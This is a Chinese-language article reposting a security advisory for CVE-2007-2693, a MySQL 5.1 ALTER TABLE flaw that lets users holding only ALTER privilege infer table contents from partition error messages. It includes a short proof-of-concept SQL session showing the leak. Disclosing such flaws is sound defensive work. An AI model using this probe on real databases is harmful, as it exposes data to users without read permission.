導致MySQL Alter Table函數(shù)信息泄露的原因
以下的文章主要講述的那些情況導致MySQL Alter Table函數(shù)的相關信息出現(xiàn)泄露漏洞,如果你在使用MySQL Alter Table中出現(xiàn)相關的情況的話,你就可以通過以下的文章對其有個研究吧!
受影響系統(tǒng):
- MySQL AB MySQL 5.1.x < 5.1.18
不受影響系統(tǒng):
- MySQL AB MySQL 5.1.18
描述:BUGTRAQ ID: 24008
CVE(CAN) ID: CVE-2007-2693
MySQL是一款使用非常廣泛的開放源代碼關系數(shù)據(jù)庫系統(tǒng),擁有各種平臺的運行版本。
MySQL Alter Table功能實現(xiàn)上存在漏洞,能夠以合法帳號登錄到數(shù)據(jù)庫系統(tǒng)的攻擊者可能利用此漏洞非授權獲取數(shù)據(jù)表相關的敏感信息。
如果用戶對表格擁有ALTER權限的話,則即使沒有SELECT權限也可以通過ALTER TABLE語句獲得某些有關表格的敏感信息。例如,用戶可以發(fā)布以下命令:
- ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0));
MySQL會返回錯誤消息:
- "Table has no partition for value 18".
這樣該用戶就可以知道存在column1 = 18的列。
測試方法:
以root用戶發(fā)布:
- mysql> create table tu (s1 int);
- Query OK, 0 rows affected (0.00 sec)
- mysql> insert into tu values (1);
- Query OK, 1 row affected (0.00 sec)
- mysql> grant alter on tu to molly@localhost;
- Query OK, 0 rows affected (0.01 sec)
以molly@localhost發(fā)布:
- mysql> select * from tu;
- ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table
- 'tu'
- mysql> alter table tu partition by list (s1) (partition p1 values in (1));
- Query OK, 1 row affected (0.05 sec)
- Records: 1 Duplicates: 0 Warnings: 0
- mysql> alter table tu partition by list (s1) (partition p1 values in (2));
- ERROR 1513 (HY000): Table has no partition for value 1
以上的相關內容就是對MySQL Alter Table函數(shù)信息泄露漏洞的介紹,望你能有所收獲。
【編輯推薦】